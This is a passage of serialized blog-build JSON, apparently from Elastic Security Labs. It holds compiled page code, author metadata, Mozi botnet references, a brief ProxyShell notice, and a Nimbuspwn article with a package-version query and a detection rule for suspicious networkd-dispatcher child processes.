\",(0,t.jsx)(e.a,{href:\"https://blag.nullteilerfrei.de/2019/12/26/upx-packed-elf-binaries-of-the-peer-to-peer-botnet-family-mozi\",rel:\"nofollow\",children:\"https://blag.nullteilerfrei.de/2019/12/26/upx-packed-elf-binaries-of-the-peer-to-peer-botnet-family-mozi\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Mozi, Another Botnet Using DHT, 360 Netlab: \",(0,t.jsx)(e.a,{href:\"https://blog.netlab.360.com/mozi-another-botnet-using-dht\",rel:\"nofollow\",children:\"https://blog.netlab.360.com/mozi-another-botnet-using-dht\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Mozi Botnet Accounts for Majority of IoT Traffic, Tara Seals: \",(0,t.jsx)(e.a,{href:\"https://threatpost.com/mozi-botnet-majority-iot-traffic/159337\",rel:\"nofollow\",children:\"https://threatpost.com/mozi-botnet-majority-iot-traffic/159337\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"New Mozi P2P Botnet Takes Over Netgear, D-Link, Huawei Routers, Sergiu Gatlan: \",(0,t.jsx)(e.a,{href:\"https://www.bleepingcomputer.com/news/security/new-mozi-p2p-botnet-takes-over-netgear-d-link-huawei-routers\",rel:\"nofollow\",children:\"https://www.bleepingcomputer.com/news/security/new-mozi-p2p-botnet-takes-over-netgear-d-link-huawei-routers\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Kibana Maps, Elastic: \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/kibana/current/maps.html\",rel:\"nofollow\",children:\"https://www.elastic.co/guide/en/kibana/current/maps.html\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Kibana Lens, Elastic: \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/kibana/current/lens.html\",rel:\"nofollow\",children:\"https://www.elastic.co/guide/en/kibana/current/lens.html\"})]}),`\n`]})]})}function T(n={}){let{wrapper:e}=n.components||{};return e?(0,t.jsx)(e,Object.assign({},n,{children:(0,t.jsx)(d,n)})):d(n)}var k=T;function z(n,e){throw new Error(\"Expected \"+(e?\"component\":\"object\")+\" `\"+n+\"` to be defined: you likely forgot to import, pass, or provide it.\")}return y(x);})();\n;return Component;"},"_id":"articles/collecting-and-operationalizing-threat-data-from-the-mozi-botnet.mdx","_raw":{"sourceFilePath":"articles/collecting-and-operationalizing-threat-data-from-the-mozi-botnet.mdx","sourceFileName":"collecting-and-operationalizing-threat-data-from-the-mozi-botnet.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/collecting-and-operationalizing-threat-data-from-the-mozi-botnet"},"type":"Article","imageUrl":"/assets/images/collecting-and-operationalizing-threat-data-from-the-mozi-botnet/blog-thumb-mozi-botnet.jpg","readingTime":"29 min read","series":"","url":"/collecting-and-operationalizing-threat-data-from-the-mozi-botnet","headings":[{"level":2,"title":"Collection","href":"#collection"},{"level":3,"title":"Unpacking","href":"#unpacking"},{"level":2,"title":"Storing threat data in the Elastic Stack","href":"#storing-threat-data-in-the-elastic-stack"},{"level":2,"title":"Create the Ingest Node Pipeline","href":"#create-the-ingest-node-pipeline"},{"level":2,"title":"Analysis","href":"#analysis"},{"level":2,"title":"Exploring the propagation mechanism","href":"#exploring-the-propagation-mechanism"},{"level":2,"title":"Mitigation","href":"#mitigation"},{"level":2,"title":"Detection logic","href":"#detection-logic"},{"level":2,"title":"Summary","href":"#summary"},{"level":2,"title":"Additional resources","href":"#additional-resources"}],"author":[{"title":"Andrew Pease","slug":"andrew-pease","description":"Elastic Security Labs Technical Lead","image":"andrew-pease.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var f=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),j=(e,t)=\u003e{for(var n in t)s(e,n,{get:t[n],enumerable:!0})},c=(e,t,n,o)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let a of x(t))!l.call(e,a)\u0026\u0026a!==n\u0026\u0026s(e,a,{get:()=\u003et[a],enumerable:!(o=p(t,a))||o.enumerable});return e};var _=(e,t,n)=\u003e(n=e!=null?m(g(e)):{},c(t||!e||!e.__esModule?s(n,\"default\",{value:e,enumerable:!0}):n,e)),w=e=\u003ec(s({},\"__esModule\",{value:!0}),e);var u=f((C,i)=\u003e{i.exports=_jsx_runtime});var h={};j(h,{default:()=\u003eb,frontmatter:()=\u003eL});var r=_(u()),L={title:\"Andrew Pease\",description:\"Elastic Security Labs Technical Lead\",slug:\"andrew-pease\",image:\"andrew-pease.jpg\"};function d(e){return(0,r.jsx)(r.Fragment,{})}function M(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(d,e)})):d(e)}var b=M;return w(h);})();\n;return Component;"},"_id":"authors/andrew-pease.mdx","_raw":{"sourceFilePath":"authors/andrew-pease.mdx","sourceFileName":"andrew-pease.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/andrew-pease"},"type":"Author","imageUrl":"/assets/images/authors/andrew-pease.jpg","url":"/authors/andrew-pease"},{"title":"Seth Goodwin","slug":"seth-goodwin","description":"Elastic Security Labs Team Senior Research Engineer, Intelligence","body":{"raw":"","code":"var Component=(()=\u003e{var g=Object.create;var i=Object.defineProperty;var l=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),h=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},a=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of x(e))!f.call(t,o)\u0026\u0026o!==n\u0026\u0026i(t,o,{get:()=\u003ee[o],enumerable:!(s=l(e,o))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?g(d(t)):{},a(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),p=t=\u003ea(i({},\"__esModule\",{value:!0}),t);var u=_((C,c)=\u003e{c.exports=_jsx_runtime});var b={};h(b,{default:()=\u003eS,frontmatter:()=\u003ew});var r=j(u()),w={title:\"Seth Goodwin\",description:\"Elastic Security Labs Team Senior Research Engineer, Intelligence\",slug:\"seth-goodwin\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var S=M;return p(b);})();\n;return Component;"},"_id":"authors/seth-goodwin.mdx","_raw":{"sourceFilePath":"authors/seth-goodwin.mdx","sourceFileName":"seth-goodwin.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/seth-goodwin"},"type":"Author","imageUrl":"","url":"/authors/seth-goodwin"},{"title":"Derek Ditch","slug":"derek-ditch","description":"Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var c=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var l=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var g=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)c(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,i)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!_.call(t,o)\u0026\u0026o!==n\u0026\u0026c(t,o,{get:()=\u003ee[o],enumerable:!(i=d(e,o))||i.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(l(t)):{},s(e||!t||!t.__esModule?c(n,\"default\",{value:t,enumerable:!0}):n,t)),D=t=\u003es(c({},\"__esModule\",{value:!0}),t);var u=g((X,a)=\u003e{a.exports=_jsx_runtime});var C={};j(C,{default:()=\u003ek,frontmatter:()=\u003eh});var r=p(u()),h={title:\"Derek Ditch\",description:\"Elastic\",slug:\"derek-ditch\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var k=M;return D(C);})();\n;return Component;"},"_id":"authors/derek-ditch.mdx","_raw":{"sourceFilePath":"authors/derek-ditch.mdx","sourceFileName":"derek-ditch.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/derek-ditch"},"type":"Author","imageUrl":"","url":"/authors/derek-ditch"},{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Detection and response for the actively exploited ProxyShell vulnerabilities","slug":"detection-and-response-for-the-actively-exploited-proxyshell-vulnerabilities","date":"2022-06-02","description":"In the last week, Elastic Security has observed the exploitation of Microsoft Exchange vulnerabilities associated with ProxyShell. Review the post to find newly released details about this activity.","image":"blog-thumb-blind-spots.png","body":{"raw":"\nOn August 21, 2021, the Cybersecurity and Infrastructure Security Agency (CISA) released an urgent [notice](https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell) related to the exploitation of ProxyShell vulnerabilities ([CVE-2021-31207](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207), [CVE-2021-34473](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473), [CVE-2021-34523](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523)). By chaining these vulnerabilities together, threat actors are compromising unpatched Microsoft Exchange servers and gaining footholds into enterprise networks. [Security vendors](https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows) and [researchers](https://twitter.com/KyleHanslovan/status/1428804893423382532?s=20) are also observing these attacks tied to post-exploitation behavior such as deploying ransomware to victim environments.\n\nElastic Security identified indicators of compromise (IoCs) indicating similar activity as reported by the industry. The details of this activity can be found in our Discuss forum, highlighting our perspective of what we have observed in our own telemetry.\n\nPlease visit the [Discuss forum](https://discuss.elastic.co/t/detection-and-response-for-proxyshell-activity/282407) for full details on our identified IoCs.\n","code":"var Component=(()=\u003e{var d=Object.create;var s=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var m=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),y=(t,e)=\u003e{for(var o in e)s(t,o,{get:e[o],enumerable:!0})},a=(t,e,o,n)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of p(e))!g.call(t,r)\u0026\u0026r!==o\u0026\u0026s(t,r,{get:()=\u003ee[r],enumerable:!(n=u(e,r))||n.enumerable});return t};var v=(t,e,o)=\u003e(o=t!=null?d(f(t)):{},a(e||!t||!t.__esModule?s(o,\"default\",{value:t,enumerable:!0}):o,t)),b=t=\u003ea(s({},\"__esModule\",{value:!0}),t);var c=m((j,l)=\u003e{l.exports=_jsx_runtime});var E={};y(E,{default:()=\u003eC,frontmatter:()=\u003ew});var i=v(c()),w={title:\"Detection and response for the actively exploited ProxyShell vulnerabilities\",slug:\"detection-and-response-for-the-actively-exploited-proxyshell-vulnerabilities\",date:\"2022-06-02\",description:\"In the last week, Elastic Security has observed the exploitation of Microsoft Exchange vulnerabilities associated with ProxyShell. Review the post to find newly released details about this activity.\",author:[{slug:\"daniel-stepanic\"},{slug:\"andrew-pease\"}],image:\"blog-thumb-blind-spots.png\",category:[{slug:\"security-research\"}]};function h(t){let e=Object.assign({p:\"p\",a:\"a\"},t.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsxs)(e.p,{children:[\"On August 21, 2021, the Cybersecurity and Infrastructure Security Agency (CISA) released an urgent \",(0,i.jsx)(e.a,{href:\"https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell\",rel:\"nofollow\",children:\"notice\"}),\" related to the exploitation of ProxyShell vulnerabilities (\",(0,i.jsx)(e.a,{href:\"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207\",rel:\"nofollow\",children:\"CVE-2021-31207\"}),\", \",(0,i.jsx)(e.a,{href:\"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473\",rel:\"nofollow\",children:\"CVE-2021-34473\"}),\", \",(0,i.jsx)(e.a,{href:\"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523\",rel:\"nofollow\",children:\"CVE-2021-34523\"}),\"). By chaining these vulnerabilities together, threat actors are compromising unpatched Microsoft Exchange servers and gaining footholds into enterprise networks. \",(0,i.jsx)(e.a,{href:\"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows\",rel:\"nofollow\",children:\"Security vendors\"}),\" and \",(0,i.jsx)(e.a,{href:\"https://twitter.com/KyleHanslovan/status/1428804893423382532?s=20\",rel:\"nofollow\",children:\"researchers\"}),\" are also observing these attacks tied to post-exploitation behavior such as deploying ransomware to victim environments.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security identified indicators of compromise (IoCs) indicating similar activity as reported by the industry. The details of this activity can be found in our Discuss forum, highlighting our perspective of what we have observed in our own telemetry.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Please visit the \",(0,i.jsx)(e.a,{href:\"https://discuss.elastic.co/t/detection-and-response-for-proxyshell-activity/282407\",rel:\"nofollow\",children:\"Discuss forum\"}),\" for full details on our identified IoCs.\"]})]})}function x(t={}){let{wrapper:e}=t.components||{};return e?(0,i.jsx)(e,Object.assign({},t,{children:(0,i.jsx)(h,t)})):h(t)}var C=x;return b(E);})();\n;return Component;"},"_id":"articles/detection-and-response-for-the-actively-exploited-proxyshell-vulnerabilities.mdx","_raw":{"sourceFilePath":"articles/detection-and-response-for-the-actively-exploited-proxyshell-vulnerabilities.mdx","sourceFileName":"detection-and-response-for-the-actively-exploited-proxyshell-vulnerabilities.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/detection-and-response-for-the-actively-exploited-proxyshell-vulnerabilities"},"type":"Article","imageUrl":"/assets/images/detection-and-response-for-the-actively-exploited-proxyshell-vulnerabilities/blog-thumb-blind-spots.png","readingTime":"1 min read","series":"","url":"/detection-and-response-for-the-actively-exploited-proxyshell-vulnerabilities","headings":[],"author":[{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"},{"title":"Andrew Pease","slug":"andrew-pease","description":"Elastic Security Labs Technical Lead","image":"andrew-pease.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var f=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),j=(e,t)=\u003e{for(var n in t)s(e,n,{get:t[n],enumerable:!0})},c=(e,t,n,o)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let a of x(t))!l.call(e,a)\u0026\u0026a!==n\u0026\u0026s(e,a,{get:()=\u003et[a],enumerable:!(o=p(t,a))||o.enumerable});return e};var _=(e,t,n)=\u003e(n=e!=null?m(g(e)):{},c(t||!e||!e.__esModule?s(n,\"default\",{value:e,enumerable:!0}):n,e)),w=e=\u003ec(s({},\"__esModule\",{value:!0}),e);var u=f((C,i)=\u003e{i.exports=_jsx_runtime});var h={};j(h,{default:()=\u003eb,frontmatter:()=\u003eL});var r=_(u()),L={title:\"Andrew Pease\",description:\"Elastic Security Labs Technical Lead\",slug:\"andrew-pease\",image:\"andrew-pease.jpg\"};function d(e){return(0,r.jsx)(r.Fragment,{})}function M(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(d,e)})):d(e)}var b=M;return w(h);})();\n;return Component;"},"_id":"authors/andrew-pease.mdx","_raw":{"sourceFilePath":"authors/andrew-pease.mdx","sourceFileName":"andrew-pease.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/andrew-pease"},"type":"Author","imageUrl":"/assets/images/authors/andrew-pease.jpg","url":"/authors/andrew-pease"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Nimbuspwn: Leveraging vulnerabilities to exploit Linux via Privilege Escalation","slug":"nimbuspwn-leveraging-vulnerabilities-to-exploit-linux-via-privilege-escalation","date":"2022-06-02","description":"Microsoft 365 Defender team released a post detailing several identified vulnerabilities. These vulnerabilities allow adversarial groups to escalate privileges on Linux systems, allowing for deployment of payloads, ransomware, or other attacks.","image":"thumb-report-threat-hunting.png","body":{"raw":"\n## Summary\n\nThe Microsoft 365 Defender team released a [post](https://www.microsoft.com/security/blog/2022/04/26/microsoft-finds-new-elevation-of-privilege-linux-vulnerability-nimbuspwn/) detailing several identified vulnerabilities. These vulnerabilities allow adversarial groups to easily escalate privileges on Linux systems, allowing for deployment of payloads, ransomware, or other malicious actions. Collectively known as Nimbuspwn, these vulnerabilities include a series of security issues within networkd-dispatcher, specifically directory traversal, symlink race, and [TOCTU](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use) race conditions.\n\nDetails are covered in their [detailed post](https://www.microsoft.com/security/blog/2022/04/26/microsoft-finds-new-elevation-of-privilege-linux-vulnerability-nimbuspwn/), and further information will be available within the two requested CVEs: [CVE-2022-29799](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29799) and [CVE-2022-29800](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29800). At the time of publication these CVE IDs are still reserved.\n\nWhile this class of vulnerability requires local shell access to exploit, it should be considered important for those that currently leverage networkd-dispatcher within their Linux workload environments. A patch by the creator has been implemented to resolve the issue under the guidance of Microsoft, and should be implemented by those that have systems impacted by this vulnerability.\n\n## Detecting Nimbuspwn activity within Elastic\n\nOur research team at Elastic has focused on building out a series of initial detections that leverage Elastic Security, alongside OSquery.\n\nFirstly, those wishing to understand what systems in their environment may be impacted need to determine systems that have networkd-dispatcher installed:\n\n\n\nWriting an OSquery search that returns the installed version of Networkd-Dispatcher is relatively trivial, and understanding the systems that may be at risk are returned at a glance. In the screenshot above, we can see an example host listed with a version number of 2.1-2, specific to Ubuntu. The version installed within your environment may be slightly different depending on the distribution. An example query has been provided below.\n\n```\nSelect version from deb_packages rpm_packages where name=’networkd-dispatcher’;\n```\n\nWe leveraged the initial research paper from Microsoft, determining a specific malicious pattern adversaries may use to exploit this vulnerability:\n\n\n\nThe Elastic Security team wrote an EQL Detection Rule to detect suspicious child processes of Networkd-Dispatcher. Any child-process detected by this rule should be considered highly suspicious given the circumstances, and should be investigated. Further analysis will likely be provided as our security community builds more POCs for this exploit. An example query appears below:\n\n```\nprocess where event.type == \"start\" and process.parent.name : \"networkd-dispatcher\" and not process.name in (\"networkctl\", \"networkd-dispatcher\")\n```\n\nGiven the nature of this exploit, we expect far greater diversity in POCs over the coming weeks. You can expect updates in the form of further signatures or rules accordingly.\n\n## Defensive recommendations\n\nOrganizations impacted by vulnerabilities discovered by the Microsoft team should follow guidance provided by Microsoft in their initial post, and update their instances of networkd-dispatcher. Elastic recommends investigating hosts that are found to be running vulnerable versions of network-dispatcher with the aforementioned detections for any sign of compromise.\n\nNot already using Elastic Security? You can always get started with a [free 14-day trial](https://cloud.elastic.co/registration) of Elastic Cloud.\n","code":"var Component=(()=\u003e{var h=Object.create;var s=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var v=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),f=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of p(e))!g.call(t,r)\u0026\u0026r!==n\u0026\u0026s(t,r,{get:()=\u003ee[r],enumerable:!(a=u(e,r))||a.enumerable});return t};var w=(t,e,n)=\u003e(n=t!=null?h(m(t)):{},o(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003eo(s({},\"__esModule\",{value:!0}),t);var c=v((D,l)=\u003e{l.exports=_jsx_runtime});var E={};f(E,{default:()=\u003ek,frontmatter:()=\u003eb});var i=w(c()),b={title:\"Nimbuspwn: Leveraging vulnerabilities to exploit Linux via Privilege Escalation\",slug:\"nimbuspwn-leveraging-vulnerabilities-to-exploit-linux-via-privilege-escalation\",date:\"2022-06-02\",description:\"Microsoft 365 Defender team released a post detailing several identified vulnerabilities. These vulnerabilities allow adversarial groups to escalate privileges on Linux systems, allowing for deployment of payloads, ransomware, or other attacks.\",author:[{slug:\"jake-king\"}],image:\"thumb-report-threat-hunting.png\",category:[{slug:\"security-research\"}]};function d(t){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",img:\"img\",pre:\"pre\",code:\"code\"},t.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.h2,{id:\"summary\",children:\"Summary\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The Microsoft 365 Defender team released a \",(0,i.jsx)(e.a,{href:\"https://www.microsoft.com/security/blog/2022/04/26/microsoft-finds-new-elevation-of-privilege-linux-vulnerability-nimbuspwn/\",rel:\"nofollow\",children:\"post\"}),\" detailing several identified vulnerabilities. These vulnerabilities allow adversarial groups to easily escalate privileges on Linux systems, allowing for deployment of payloads, ransomware, or other malicious actions. Collectively known as Nimbuspwn, these vulnerabilities include a series of security issues within networkd-dispatcher, specifically directory traversal, symlink race, and \",(0,i.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use\",rel:\"nofollow\",children:\"TOCTU\"}),\" race conditions.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Details are covered in their \",(0,i.jsx)(e.a,{href:\"https://www.microsoft.com/security/blog/2022/04/26/microsoft-finds-new-elevation-of-privilege-linux-vulnerability-nimbuspwn/\",rel:\"nofollow\",children:\"detailed post\"}),\", and further information will be available within the two requested CVEs: \",(0,i.jsx)(e.a,{href:\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29799\",rel:\"nofollow\",children:\"CVE-2022-29799\"}),\" and \",(0,i.jsx)(e.a,{href:\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29800\",rel:\"nofollow\",children:\"CVE-2022-29800\"}),\". At the time of publication these CVE IDs are still reserved.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"While this class of vulnerability requires local shell access to exploit, it should be considered important for those that currently leverage networkd-dispatcher within their Linux workload environments. A patch by the creator has been implemented to resolve the issue under the guidance of Microsoft, and should be implemented by those that have systems impacted by this vulnerability.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"detecting-nimbuspwn-activity-within-elastic\",children:\"Detecting Nimbuspwn activity within Elastic\"}),`\n`,(0,i.jsx)(e.p,{children:\"Our research team at Elastic has focused on building out a series of initial detections that leverage Elastic Security, alongside 